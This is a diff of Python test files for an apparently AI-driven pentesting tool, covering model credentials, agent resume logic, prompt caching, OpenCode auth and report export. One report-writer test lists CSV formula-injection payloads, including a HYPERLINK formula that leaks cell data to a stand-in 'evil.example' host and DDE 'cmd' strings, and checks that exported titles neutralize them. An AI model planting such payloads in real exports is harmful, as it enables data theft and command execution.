assert "has no targets_info" in capsys.readouterr().err
def test_resume_non_object_run_json_exits(
tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
) -> None:
def test_resume_non_object_run_json_exits(tmp_path: Path, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]) -> None:
monkeypatch.chdir(tmp_path)
run_dir = tmp_path / "strix_runs" / "pentest_abcd"
run_dir.mkdir(parents=True)

View File

@@ -7,7 +7,7 @@ from typing import TYPE_CHECKING
from strix.config import loader
from strix.config.settings import DedupeSettings
from strix.report.dedupe import _dedupe_model_settings, resolve_dedupe_model
from strix.report.dedupe import _dedupe_model_settings
if TYPE_CHECKING:
@@ -16,49 +16,32 @@ if TYPE_CHECKING:
import pytest
def _unwrap(model: object) -> object:
while hasattr(model, "_inner"):
model = model._inner
return model
def test_dedupe_key_bound_to_model_client_not_global_env() -> None:
def test_dedupe_key_sent_per_call_not_via_global_env() -> None:
dedupe = DedupeSettings(STRIX_DEDUPE_MODEL="deepseek/cheap", DEDUPE_LLM_API_KEY="dedupe-key")
model = _unwrap(resolve_dedupe_model(dedupe, "deepseek/cheap"))
# The key is bound to the dedupe model's own client, so a shared-provider
# main key can't clobber it (and vice versa) through the process globals —
# and it never rides on the request, where every model implementation's own
# api_key kwarg would collide with it.
assert model.api_key == "dedupe-key" # type: ignore[attr-defined]
settings = _dedupe_model_settings(dedupe, "deepseek/cheap", 300)
# The key rides on the request, so a shared-provider main key can't clobber
# it (and vice versa) through the global provider env var.
assert (settings.extra_args or {})["api_key"] == "dedupe-key"
def test_dedupe_settings_carry_no_request_credentials() -> None:
dedupe = DedupeSettings(
STRIX_DEDUPE_MODEL="deepseek/cheap",
DEDUPE_LLM_API_KEY="dedupe-key",
DEDUPE_LLM_API_BASE="https://dedupe.example/v1",
)
def test_dedupe_settings_omit_api_key_when_unset() -> None:
dedupe = DedupeSettings(STRIX_DEDUPE_MODEL="deepseek/cheap")
settings = _dedupe_model_settings(dedupe, "deepseek/cheap", 300)
assert "api_key" not in (settings.extra_args or {})
assert "api_base" not in (settings.extra_args or {})
def test_dedupe_endpoint_bound_to_model_client() -> None:
def test_dedupe_endpoint_sent_per_call() -> None:
dedupe = DedupeSettings(
STRIX_DEDUPE_MODEL="openai/cheap",
DEDUPE_LLM_API_KEY="dedupe-key",
DEDUPE_LLM_API_BASE="https://dedupe.example/v1",
)
model = _unwrap(resolve_dedupe_model(dedupe, "openai/cheap"))
client = model._client # type: ignore[attr-defined]
assert client.api_key == "dedupe-key"
assert str(client.base_url).startswith("https://dedupe.example/v1")
def test_dedupe_without_credentials_uses_default_provider() -> None:
dedupe = DedupeSettings(STRIX_DEDUPE_MODEL="deepseek/cheap")
model = _unwrap(resolve_dedupe_model(dedupe, "deepseek/cheap"))
assert model.api_key is None # type: ignore[attr-defined]
settings = _dedupe_model_settings(dedupe, "openai/cheap", 300)
# A distinct dedupe endpoint rides on the request instead of the
# process-wide base URL, so it can't clobber the main model's endpoint.
assert (settings.extra_args or {})["api_base"] == "https://dedupe.example/v1"
assert (settings.extra_args or {})["api_key"] == "dedupe-key"
def test_dedicated_dedupe_model_uses_own_headers_not_main() -> None:

View File

@@ -458,49 +458,6 @@ async def test_non_user_send_does_not_resume_budget_pause(tmp_path: Any) -> None
session.close()
@pytest.mark.asyncio
async def test_user_send_starts_fresh_resume_attempt_after_failure() -> None:
coordinator = AgentCoordinator()
await coordinator.register("root", "strix", parent_id=None)
await coordinator.register("child", "recon", parent_id="root")
await coordinator.park_waiting("child", wait_kind="stalled")
await coordinator.record_recovery("child")
await coordinator.record_idle_resume("child")
await coordinator.set_status("child", "failed", error="provider rejected request")
assert await coordinator.claim_parent_notice("child") is True
delivered = await coordinator.send("child", {"from": "user", "content": "try again"})
assert delivered is True
assert coordinator.statuses["child"] == "waiting"
assert coordinator.pending_counts["child"] == 1
assert "child" not in coordinator.errors
assert "child" not in coordinator.wait_kinds
assert "child" not in coordinator.recovery_counts
assert "child" not in coordinator.idle_resume_counts
assert await coordinator.claim_parent_notice("child") is True
@pytest.mark.asyncio
async def test_non_user_send_preserves_failed_resume_state() -> None:
coordinator = AgentCoordinator()
await coordinator.register("root", "strix", parent_id=None)
await coordinator.register("child", "recon", parent_id="root")
await coordinator.park_waiting("child", wait_kind="stalled")
await coordinator.record_recovery("child")
await coordinator.record_idle_resume("child")
await coordinator.set_status("child", "failed", error="provider rejected request")
delivered = await coordinator.send("child", {"from": "root", "content": "status"})
assert delivered is True
assert coordinator.statuses["child"] == "failed"
assert coordinator.errors["child"] == "provider rejected request"
assert coordinator.wait_kinds["child"] == "stalled"
assert coordinator.recovery_counts["child"] == 1
assert coordinator.idle_resume_counts["child"] == 1
@pytest.mark.asyncio
async def test_reset_budget_stops_clears_pause_and_normalizes_statuses() -> None:
coordinator = AgentCoordinator()

View File

@@ -16,6 +16,7 @@ from openai import (
)
from strix.config import codex
from strix.config.models import ModelStreamTimeoutError
from strix.core import execution
from strix.core.agents import AgentCoordinator
@@ -162,6 +163,16 @@ async def test_run_cycle_gives_up_after_max_retries(
await _run_once(monkeypatch, streams)
@pytest.mark.asyncio
async def test_run_cycle_gives_up_after_max_stream_timeout_retries(
monkeypatch: pytest.MonkeyPatch,
) -> None:
timeout = ModelStreamTimeoutError("model stream produced no event for 1s")
streams = [_FakeStream(exc=timeout) for _ in range(execution._MAX_STREAM_TIMEOUT_RETRIES + 1)]
with pytest.raises(ModelStreamTimeoutError):
await _run_once(monkeypatch, streams)
@pytest.mark.asyncio
async def test_run_cycle_does_not_retry_permanent_error(
monkeypatch: pytest.MonkeyPatch,

View File

@@ -857,37 +857,6 @@ async def test_agent_state_sync_does_not_mask_root_failure_with_completed_report
assert runtime.controller.error == "finalization failed"
@pytest.mark.asyncio
async def test_agent_state_sync_clears_root_failure_after_user_resume() -> None:
runtime = GoTuiRuntime(args())
await runtime.coordinator.register("root", "Strix", parent_id=None)
await runtime.coordinator.set_status("root", "failed", error="provider rejected request")
await runtime._sync_agent_state()
assert runtime.controller.scan_state == "failed"
assert runtime.live_view.agents["root"]["error_message"] == "provider rejected request"
await runtime.coordinator.send("root", {"from": "user", "content": "try again"})
await runtime._sync_agent_state()
assert runtime.controller.scan_state == "running"
assert runtime.controller.error is None
root = runtime.live_view.agents["root"]
assert root["status"] == "waiting"
assert "error_message" not in root
@pytest.mark.asyncio
async def test_agent_state_sync_does_not_reopen_stopped_scan_with_active_root() -> None:
runtime = GoTuiRuntime(args())
runtime.controller.scan_state = "stopped"
await runtime.coordinator.register("root", "Strix", parent_id=None)
await runtime._sync_agent_state()
assert runtime.controller.scan_state == "stopped"
def _direct_launch_args() -> argparse.Namespace:
launch_args = args()
launch_args.needs_setup = False

View File

@@ -1,99 +0,0 @@
"""The import warm-up thread must never leave the import system poisoned.
Field failure: the warm-up thread's ``strix.core.runner`` import and the main
thread's ``strix.report`` import both walked the agents SDK graph, and the two
held each other's import locks (report -> dedupe -> agents while runner ->
hooks -> report.state). CPython's deadlock avoidance breaks such a cycle by
failing one import, which strands finished submodules in ``sys.modules`` with
their parent package gone — and the next import of one of those submodules
crashes with "partially initialized module".
"""
from __future__ import annotations
import subprocess
import sys
import textwrap
from strix.llm import warmup
def _run(code: str) -> subprocess.CompletedProcess[str]:
return subprocess.run( # noqa: S603
[sys.executable, "-c", textwrap.dedent(code)],
capture_output=True,
text=True,
check=False,
timeout=300,
)
def test_strix_report_does_not_import_the_agents_graph() -> None:
result = _run(
"""
import sys
import strix.report
agents_modules = [m for m in sys.modules if m == "agents" or m.startswith("agents.")]
assert not agents_modules, agents_modules
assert "strix.report.dedupe" not in sys.modules
"""
)
assert result.returncode == 0, result.stderr
def test_check_duplicate_resolves_lazily() -> None:
result = _run(
"""
import strix.report
from strix.report import check_duplicate
from strix.report.dedupe import check_duplicate as direct
assert strix.report.check_duplicate is direct is check_duplicate
"""
)
assert result.returncode == 0, result.stderr
def test_failed_warm_import_purges_orphaned_submodules() -> None:
result = _run(
"""
import sys
from strix.llm.warmup import _warm
# A package whose import fails after a submodule already completed:
# CPython removes the package but leaves the submodule stranded.
import pathlib
import tempfile
root = pathlib.Path(tempfile.mkdtemp())
pkg = root / "stranded_pkg"
pkg.mkdir()
(pkg / "ok.py").write_text("VALUE = 1")
(pkg / "__init__.py").write_text("from . import ok\\nraise RuntimeError('boom')")
sys.path.insert(0, str(root))
_warm(("stranded_pkg",))
assert "stranded_pkg" not in sys.modules
assert "stranded_pkg.ok" not in sys.modules, "orphan survived the purge"
# And the subtree imports cleanly afterwards up to the real error.
try:
import stranded_pkg # noqa: F401
except RuntimeError:
pass
else:
raise AssertionError("expected the package's own error")
"""
)
assert result.returncode == 0, result.stderr
def test_purge_does_not_touch_preexisting_or_healthy_modules() -> None:
before = frozenset(sys.modules) - {"strix.llm.warmup"}
warmup._purge_orphaned_modules(before)
assert "strix.llm.warmup" in sys.modules # parent chain intact -> kept
assert "strix" in sys.modules

View File

@@ -90,16 +90,6 @@ def test_make_model_settings_enables_prompt_cache_for_non_bedrock_claude(model_n
]
@pytest.mark.parametrize(
"model_name",
["claude-sonnet-4-5", "openai/claude-sonnet-4-5", "any-llm/anthropic/claude-sonnet-4-5"],
)
def test_no_prompt_cache_for_claude_off_the_litellm_route(model_name: str) -> None:
# These names are served by SDK clients that raise TypeError on LiteLLM-only
# request kwargs — e.g. a gateway in front of Claude reached with a bare name.
assert _cache_points(model_name) is None
def test_tool_config_point_not_leaked_to_non_bedrock_claude() -> None:
# LiteLLM only consumes tool_config on Bedrock; elsewhere it leaks onto the
# wire and native Anthropic 400s.
@@ -122,23 +112,6 @@ def test_make_model_settings_no_prompt_cache_for_non_claude(model_name: str) ->
assert make_model_settings(None, model_name=model_name).extra_args is None
@pytest.mark.parametrize("model_name", ["opencode/claude-sonnet-5", "opencode-go/claude-sonnet-5"])
def test_prompt_cache_for_opencode_claude(model_name: str) -> None:
# Claude on OpenCode runs through LiteLLM's Anthropic route, which consumes
# cache_control_injection_points. The gateway's other two routes use the raw
# OpenAI SDK, whose create() rejects this LiteLLM-only argument.
assert _cache_points(model_name) == [
{"location": "message", "role": "system"},
{"location": "message", "index": -1},
]
def test_no_prompt_cache_for_opencode_openai_routes() -> None:
# A "claude" substring cannot smuggle the LiteLLM-only argument onto a route
# that is served by the raw OpenAI SDK.
assert _cache_points("opencode/gpt-5.4-claude-tuned") is None
def test_no_prompt_cache_for_unmapped_bedrock_claude_model(monkeypatch: Any) -> None:
# A Bedrock Claude model LiteLLM hasn't mapped must run uncached, not crash.
unmapped = "bedrock/global.anthropic.claude-brand-new-9"
@@ -170,8 +143,7 @@ def test_max_reasoning_effort_sent_as_raw_body_field() -> None:
"max", model_name="deepseek/deepseek-v4-flash", request_timeout=30
)
assert settings.reasoning is None
assert settings.extra_args == {"timeout": 30}
assert settings.extra_body == {"reasoning_effort": "max"}
assert settings.extra_args == {"timeout": 30, "extra_body": {"reasoning_effort": "max"}}
def test_conversation_tail_breakpoint_moves_with_appended_transcript() -> None:

View File

@@ -2,7 +2,6 @@
from __future__ import annotations
import json
from typing import TYPE_CHECKING
import pytest
@@ -28,51 +27,6 @@ def report_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> ReportState
return state
def test_add_vulnerability_report_strips_control_chars_from_title(
report_state: ReportState,
) -> None:
# A title quotes text from the scanned target, so it can carry newlines or
# tabs that break the markdown heading, the CSV cell and the TUI list.
report_id = report_state.add_vulnerability_report(
title="\tXSS in\r\n search\x00 form ",
severity="medium",
target="https://app.example.com",
)
report = next(r for r in report_state.vulnerability_reports if r["id"] == report_id)
assert report["title"] == "XSS in search form"
def test_hydrate_from_run_dir_strips_control_chars_from_title(
report_state: ReportState,
) -> None:
# A run started before titles were normalized can hold control characters on
# disk, and resume re-exports those titles to the CSV, the SARIF and the TUI.
(report_state.get_run_dir() / "vulnerabilities.json").write_text(
json.dumps(
[
{
"id": "vuln-0001",
"title": "XSS in\r\n search\tform",
"severity": "medium",
"timestamp": "2026-01-01 00:00:00 UTC",
}
]
),
encoding="utf-8",
)
md_path = report_state.get_run_dir() / "vulnerabilities" / "vuln-0001.md"
md_path.parent.mkdir(exist_ok=True)
md_path.write_text("# XSS in\r\n search\tform\n", encoding="utf-8")
report_state.hydrate_from_run_dir()
report_state.save_run_data()
assert report_state.vulnerability_reports[0]["title"] == "XSS in search form"
# The markdown on disk holds the raw heading, so resume must rewrite it.
assert md_path.read_text(encoding="utf-8").startswith("# XSS in search form\n")
def _seed(state: ReportState) -> None:
state.add_vulnerability_report(
title="Reflected XSS in search",
@@ -403,25 +357,3 @@ def test_get_report_no_state_returns_error(monkeypatch: pytest.MonkeyPatch) -> N
result = _do_get_report("vuln-0001")
assert result["success"] is False
assert result["report"] is None
@pytest.mark.parametrize("nullish", ["null", "none", "NULL", " None ", "undefined", "nil"])
def test_list_reports_ignores_nullish_filter_strings(
report_state: ReportState, nullish: str
) -> None:
_seed(report_state)
unfiltered = _do_list_reports(
severity=None, finding_class=None, target=None, search=None, include_details=False
)
assert unfiltered["filtered_count"] == 3
assert (
_do_list_reports(
severity=nullish,
finding_class=nullish,
target=nullish,
search=nullish,
include_details=False,
)
== unfiltered
)

File diff suppressed because it is too large Load Diff

View File

@@ -3,17 +3,12 @@
from __future__ import annotations
import pytest
from agents.extensions.models.litellm_model import LitellmModel
from agents.model_settings import ModelSettings
from strix.config.models import (
RECOMMENDED_MODEL_NAMES,
StrixProvider,
_NonStreamingModel,
_TurnGuardModel,
is_recommended_or_frontier_model,
request_timeout_extra_args,
routes_through_litellm,
supports_strict_tool_schemas,
)
@@ -72,11 +67,6 @@ def test_recommended_models_are_matched_case_insensitively() -> None:
"moonshot/kimi-k2.6",
"kimi-k2.7-code",
"moonshot/kimi-k3",
"opencode/gpt-5.4",
"opencode/claude-sonnet-5",
"opencode-go/kimi-k3",
"opencode-go/deepseek-v4-flash",
"opencode-go/qwen3.8-max",
],
)
def test_frontier_model_families_are_accepted(model_name: str) -> None:
@@ -122,38 +112,3 @@ def test_claude_routes_reject_strict_tool_schemas(model_name: str) -> None:
)
def test_other_routes_keep_strict_tool_schemas(model_name: str) -> None:
assert supports_strict_tool_schemas(model_name)
@pytest.mark.parametrize(
("model_name", "litellm"),
[
("claude-sonnet-4-5", False),
("openai/claude-sonnet-4-5", False),
("any-llm/anthropic/claude-sonnet-4-5", False),
("anthropic/claude-sonnet-4-5", True),
("litellm/anthropic/claude-sonnet-4-5", True),
("bedrock/anthropic.claude-sonnet-4-5-20250929-v1:0", True),
("ollama/llama3", True),
],
)
def test_routes_through_litellm_matches_the_provider(
monkeypatch: pytest.MonkeyPatch, model_name: str, litellm: bool
) -> None:
"""The helper must agree with what StrixProvider actually builds.
Callers use it to decide whether a LiteLLM-only request field is safe to
attach; on the SDK's own clients such a field raises TypeError mid-turn, so
drift here breaks every request on that route.
"""
monkeypatch.setenv("OPENAI_API_KEY", "test-key")
assert routes_through_litellm(model_name) is litellm
try:
model = StrixProvider().get_model(model_name)
except ImportError:
# any-llm's client is an optional dependency; reaching it at all already
# proves the route is not LiteLLM's.
assert not litellm
return
while isinstance(model, _NonStreamingModel | _TurnGuardModel):
model = model._inner
assert isinstance(model, LitellmModel) is litellm

View File

@@ -101,33 +101,3 @@ def test_get_note_flags_caller_ownership() -> None:
assert mine["note"]["agent_name"] == "Agent One"
theirs = notes_tools._get_note_impl(note_id, caller_agent_id="agent-9")
assert "by_you" not in theirs["note"]
@pytest.mark.parametrize("nullish", ["null", "none", "NULL", " None ", "undefined", "nil"])
def test_list_notes_ignores_nullish_filter_strings(nullish: str) -> None:
notes_tools._create_note_impl("recon", "content", category="findings", tags=["auth"])
notes_tools._create_note_impl("other", "content", category="general")
unfiltered = notes_tools._list_notes_impl()
assert unfiltered["filtered_count"] == 2
assert notes_tools._list_notes_impl(category=nullish) == unfiltered
assert notes_tools._list_notes_impl(search=nullish) == unfiltered
@pytest.mark.parametrize("tag", ["null", "none"])
def test_list_notes_filters_on_a_literal_nullish_tag(tag: str) -> None:
notes_tools._create_note_impl("tagged", "content", tags=[tag])
notes_tools._create_note_impl("other", "content", tags=["auth"])
assert [n["title"] for n in notes_tools._list_notes_impl(tags=[tag])["notes"]] == ["tagged"]
mixed = notes_tools._list_notes_impl(tags=[tag, "auth"])
assert sorted(n["title"] for n in mixed["notes"]) == ["other", "tagged"]
def test_list_notes_still_filters_on_real_values() -> None:
notes_tools._create_note_impl("recon", "content", category="findings")
notes_tools._create_note_impl("other", "content", category="general")
result = notes_tools._list_notes_impl(category="findings")
assert [n["title"] for n in result["notes"]] == ["recon"]

View File

@@ -1,212 +0,0 @@
"""Tests for OpenCode (Zen/Go) subscription auth: prefix parsing and key store."""
from __future__ import annotations
from typing import TYPE_CHECKING
from unittest import mock
import pytest
import requests
from strix.config import codex, opencode
if TYPE_CHECKING:
from pathlib import Path
@pytest.fixture(autouse=True)
def _tmp_store(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> Path:
path = tmp_path / "home" / ".strix" / "subscription-auth.json"
monkeypatch.setattr(codex, "AUTH_PATH", path)
return path
@pytest.mark.parametrize(
("model", "slug", "base_url", "protocol"),
[
(
"opencode/claude-sonnet-5",
"claude-sonnet-5",
opencode.ZEN_BASE_URL,
opencode.PROTOCOL_MESSAGES,
),
("opencode/gpt-5.4", "gpt-5.4", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
("opencode/grok-4.5", "grok-4.5", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
("OpenCode/Kimi-K3", "Kimi-K3", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
(
"OpenCode/Claude-Opus-5",
"Claude-Opus-5",
opencode.ZEN_BASE_URL,
opencode.PROTOCOL_MESSAGES,
),
("opencode-go/kimi-k3", "kimi-k3", opencode.GO_BASE_URL, opencode.PROTOCOL_CHAT),
(
"opencode-go/gpt-5.6-luna",
"gpt-5.6-luna",
opencode.GO_BASE_URL,
opencode.PROTOCOL_RESPONSES,
),
("opencode-go/grok-4.5", "grok-4.5", opencode.GO_BASE_URL, opencode.PROTOCOL_CHAT),
# Probed per family against both gateways; a wrong protocol 500s.
(
"opencode/muse-spark-1.2",
"muse-spark-1.2",
opencode.ZEN_BASE_URL,
opencode.PROTOCOL_RESPONSES,
),
(
"opencode/deepseek-v4-pro",
"deepseek-v4-pro",
opencode.ZEN_BASE_URL,
opencode.PROTOCOL_CHAT,
),
("opencode/minimax-m3", "minimax-m3", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
("opencode/qwen3.6-plus", "qwen3.6-plus", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
("opencode/glm-5.2", "glm-5.2", opencode.ZEN_BASE_URL, opencode.PROTOCOL_CHAT),
("opencode/grok-4.6", "grok-4.6", opencode.ZEN_BASE_URL, opencode.PROTOCOL_RESPONSES),
(
"opencode/gpt-5.6-luna",
"gpt-5.6-luna",
opencode.ZEN_BASE_URL,
opencode.PROTOCOL_RESPONSES,
),
(
"opencode/claude-opus-5",
"claude-opus-5",
opencode.ZEN_BASE_URL,
opencode.PROTOCOL_MESSAGES,
),
],
)
def test_subscription_model_parses_prefixes(
model: str, slug: str, base_url: str, protocol: str
) -> None:
parsed = opencode.subscription_model(model)
assert parsed is not None
assert parsed.slug == slug
assert parsed.base_url == base_url
assert parsed.protocol == protocol
assert parsed.uses_responses is (protocol == opencode.PROTOCOL_RESPONSES)
def test_claude_route_targets_the_anthropic_endpoint() -> None:
parsed = opencode.subscription_model("opencode/claude-sonnet-5")
assert parsed is not None
assert parsed.messages_url == "https://opencode.ai/zen/v1/messages"
@pytest.mark.parametrize(
("model", "plan", "label", "metered"),
[
("opencode/claude-sonnet-5", opencode.PLAN_ZEN, "OpenCode Zen", True),
("opencode/kimi-k3", opencode.PLAN_ZEN, "OpenCode Zen", True),
("opencode-go/kimi-k3", opencode.PLAN_GO, "OpenCode Go", False),
("OpenCode-Go/GPT-5.6-Luna", opencode.PLAN_GO, "OpenCode Go", False),
],
)
def test_plan_is_labelled_and_metered_per_prefix(
model: str, plan: str, label: str, metered: bool
) -> None:
parsed = opencode.subscription_model(model)
assert parsed is not None
assert parsed.plan == plan
assert parsed.label == label
# Zen bills prepaid credits per request; Go is a flat monthly plan.
assert parsed.metered is metered
assert opencode.subscription_plan(model) == plan
def test_subscription_plan_is_none_off_opencode() -> None:
assert opencode.subscription_plan("chatgpt/gpt-5.4") is None
assert opencode.subscription_plan("anthropic/claude-sonnet-5") is None
assert opencode.subscription_plan(None) is None
@pytest.mark.parametrize(
"model",
["openai/gpt-5.4", "chatgpt/gpt-5.4", "opencode/", "opencode-go/", "opencode", "", None],
)
def test_subscription_model_rejects_non_opencode(model: str | None) -> None:
assert opencode.subscription_model(model) is None
def test_store_roundtrip_and_logout() -> None:
assert opencode.read_record() is None
assert opencode.is_authenticated() is False
opencode.save_api_key("sk-oc-test")
record = opencode.read_record()
assert record is not None
assert record["key"] == "sk-oc-test"
assert opencode.is_authenticated() is True
assert opencode.get_api_key() == "sk-oc-test"
opencode.logout()
assert opencode.read_record() is None
opencode.logout() # no-op when already gone
def test_store_coexists_with_chatgpt_record() -> None:
codex.save_record({"type": "oauth", "access": "a", "refresh": "r", "account_id": "acct"})
opencode.save_api_key("sk-oc-test")
assert codex.read_record() is not None
assert opencode.get_api_key() == "sk-oc-test"
opencode.logout()
assert codex.read_record() is not None
assert opencode.read_record() is None
def test_get_api_key_raises_when_not_signed_in() -> None:
with pytest.raises(opencode.OpencodeAuthError) as exc:
opencode.get_api_key()
assert exc.value.code == "not_authenticated"
def test_auth_mode_covers_both_subscriptions() -> None:
assert opencode.auth_mode("opencode/claude-sonnet-5") == "subscription"
assert opencode.auth_mode("opencode-go/kimi-k3") == "subscription"
assert opencode.auth_mode("chatgpt/gpt-5.4") == "subscription"
assert opencode.auth_mode("openai/gpt-5.4") == "api_key"
assert opencode.auth_mode(None) == "api_key"
def test_subscription_provider() -> None:
assert opencode.subscription_provider("opencode/claude-sonnet-5") == "opencode"
assert opencode.subscription_provider("opencode-go/kimi-k3") == "opencode"
assert opencode.subscription_provider("chatgpt/gpt-5.4") == "chatgpt"
assert opencode.subscription_provider("openai/gpt-5.4") is None
assert opencode.subscription_provider(None) is None
def _response(status_code: int, text: str = "") -> mock.MagicMock:
response = mock.MagicMock()
response.status_code = status_code
response.text = text
return response
def test_validate_api_key_accepts_ok() -> None:
with mock.patch.object(requests, "get", return_value=_response(200)) as get:
opencode.validate_api_key("sk-oc-test")
assert get.call_args.kwargs["headers"]["Authorization"] == "Bearer sk-oc-test"
def test_validate_api_key_rejects_unauthorized() -> None:
with (
mock.patch.object(requests, "get", return_value=_response(401)),
pytest.raises(opencode.OpencodeAuthError) as exc,
):
opencode.validate_api_key("bad-key")
assert exc.value.code == "invalid_key"
def test_validate_api_key_maps_network_errors() -> None:
with (
mock.patch.object(requests, "get", side_effect=requests.ConnectionError("boom")),
pytest.raises(opencode.OpencodeAuthError) as exc,
):
opencode.validate_api_key("sk-oc-test")
assert exc.value.code == "unavailable"

View File

@@ -9,7 +9,6 @@ from typing import TYPE_CHECKING, Any
import pytest
from strix.report.writer import (
atomic_write_text,
read_run_record,
render_vulnerability_md,
write_executive_report,
@@ -164,64 +163,6 @@ def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) ->
assert csv_rows[0]["severity"] == "CRITICAL"
@pytest.mark.parametrize(
"payload",
[
'=HYPERLINK("http://evil.example/leak?d="&A1,"View")',
"+cmd|'/c calc'!A1",
"@SUM(1+1)*cmd|'/c calc'!A1",
"-2+3+cmd|'/c calc'!A1",
"\t leading tab",
"\r leading carriage return",
],
)
def test_write_vulnerabilities_csv_neutralizes_formula_injection(
tmp_path: Path,
payload: str,
) -> None:
# Titles quote text from the scanned target, so a finding title can begin with
# a spreadsheet formula trigger. csv escapes CSV syntax but not formula
# triggers, so the cell has to be neutralized before it is written.
write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
csv_rows = list(
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
)
title = csv_rows[0]["title"]
assert title.startswith("'")
assert not title.startswith(("=", "+", "-", "@", "\t", "\r"))
def test_write_vulnerabilities_csv_preserves_payload_after_guard(tmp_path: Path) -> None:
payload = "=1+1"
write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
csv_rows = list(
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
)
assert csv_rows[0]["title"] == "'=1+1" # guard prefix only, payload intact
def test_write_vulnerabilities_csv_leaves_benign_titles_unchanged(tmp_path: Path) -> None:
write_vulnerabilities(tmp_path, [_sample_report(title="SQL Injection in /login")], set())
csv_rows = list(
csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
)
assert csv_rows[0]["title"] == "SQL Injection in /login"
def test_atomic_write_text_keeps_payload_byte_for_byte(tmp_path: Path) -> None:
# The CSV index carries its own \r\n terminators, so newline translation would
# turn every row ending into \r\r\n on Windows.
payload = "a,b\r\nc,d\r\n"
path = tmp_path / "index.csv"
atomic_write_text(path, payload)
assert path.read_bytes() == payload.encode("utf-8")
def test_write_vulnerabilities_skips_already_saved_ids(tmp_path: Path) -> None:
reports = [_sample_report(id="vuln-0001")]
saved: set[str] = {"vuln-0001"}

View File

@@ -63,34 +63,6 @@ def report_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> ReportState
return state
def test_record_mcp_connection_status_persists_and_dedupes(
report_state: ReportState, monkeypatch: pytest.MonkeyPatch
) -> None:
"""The roster lands on the run record so run.json carries it for the viewer,
and an unchanged re-write is a no-op (it does not re-save)."""
roster = [{"name": "local_fs", "provider": None, "tool_count": 3, "dead": False}]
report_state.record_mcp_connection_status(roster)
assert report_state.run_record["mcp_connection_status"] == roster
saves = 0
original_save = report_state.save_run_data
def _counting_save(*args: Any, **kwargs: Any) -> None:
nonlocal saves
saves += 1
original_save(*args, **kwargs)
monkeypatch.setattr(report_state, "save_run_data", _counting_save)
report_state.record_mcp_connection_status(roster)
assert saves == 0, "an identical roster must not trigger another save"
report_state.record_mcp_connection_status(
[{"name": "local_fs", "provider": None, "tool_count": 3, "dead": True}]
)
assert saves == 1
assert report_state.run_record["mcp_connection_status"][0]["dead"] is True
async def test_create_report_persists_new_fields(report_state: ReportState) -> None:
result = await _do_create(
title="Reflected XSS in search",

View File

@@ -1,190 +0,0 @@
"""The runner attaches MCP connections source-agnostically.
When a caller supplies ``mcp_connection_requests`` the runner attaches those;
when it does not, the runner reads ``~/.strix/mcp-servers.json`` itself and wraps
each config in a bare request. Either way the one shared ``attach_mcp_requests``
routine does the connecting.
"""
from __future__ import annotations
import types
from typing import Any
import pytest
from agents import ModelSettings
import strix.tools.mcp as mcp_pkg
import strix.tools.notes.tools as notes_tools
import strix.tools.todo.tools as todo_tools
from strix.core import runner
from strix.core.agents import AgentCoordinator
from strix.runtime import session_manager
from strix.tools.mcp import McpConnectionConfig, McpConnectionRequest
def _settings() -> Any:
return types.SimpleNamespace(
llm=types.SimpleNamespace(
model="openai/gpt-4o",
reasoning_effort="high",
force_required_tool_choice=False,
timeout=300,
prompt_cache=True,
extra_headers=None,
),
runtime=types.SimpleNamespace(max_context_images=3),
)
def _wire_runner(monkeypatch: pytest.MonkeyPatch, tmp_path: Any) -> None:
monkeypatch.setattr(runner, "run_dir_for", lambda _scan_id: tmp_path)
monkeypatch.setattr(runner, "runtime_state_dir", lambda _run_dir: tmp_path)
monkeypatch.setattr(runner, "setup_scan_logging", lambda _run_dir: lambda: None)
monkeypatch.setattr(runner, "set_scan_id", lambda _scan_id: None)
monkeypatch.setattr(runner, "load_settings", _settings)
monkeypatch.setattr(runner, "configure_sdk_model_defaults", lambda _s: None)
monkeypatch.setattr(runner, "uses_chat_completions_tool_schema", lambda _m, _s: False)
monkeypatch.setattr(todo_tools, "hydrate_todos_from_disk", lambda _d: None)
monkeypatch.setattr(notes_tools, "hydrate_notes_from_disk", lambda _d: None)
async def _create_or_reuse(*_a: Any, **_k: Any) -> dict[str, Any]:
return {"client": object(), "session": object(), "caido_client": None}
async def _cleanup(*_a: Any, **_k: Any) -> None:
return None
monkeypatch.setattr(session_manager, "create_or_reuse", _create_or_reuse)
monkeypatch.setattr(session_manager, "cleanup", _cleanup)
monkeypatch.setattr(runner, "build_root_task", lambda _c: "task")
monkeypatch.setattr(runner, "build_scope_context", lambda _c: {})
monkeypatch.setattr(runner, "make_model_settings", lambda *_a, **_k: ModelSettings())
monkeypatch.setattr(runner, "build_strix_agent", lambda **_k: object())
monkeypatch.setattr(runner, "make_child_factory", lambda **_k: lambda **_kk: object())
monkeypatch.setattr(runner, "open_agent_session", lambda _root_id, _db: object())
async def _run_agent_loop(**_kwargs: Any) -> None:
return None
monkeypatch.setattr(runner, "run_agent_loop", _run_agent_loop)
@pytest.mark.asyncio
async def test_none_default_attaches_from_the_user_config_file(
monkeypatch: pytest.MonkeyPatch, tmp_path: Any
) -> None:
_wire_runner(monkeypatch, tmp_path)
file_config = McpConnectionConfig(
name="local_fs", transport="stdio", command="npx", notes="local files"
)
monkeypatch.setattr(mcp_pkg, "load_user_mcp_configs", lambda: [file_config])
captured: list[list[McpConnectionRequest]] = []
async def _capture(requests: list[McpConnectionRequest], _registry: Any) -> list[Any]:
captured.append(requests)
return []
monkeypatch.setattr(mcp_pkg, "attach_mcp_requests", _capture)
await runner.run_strix_scan(
scan_config={"targets": [], "scan_mode": "deep"},
scan_id="scan-none",
image="img",
coordinator=AgentCoordinator(),
)
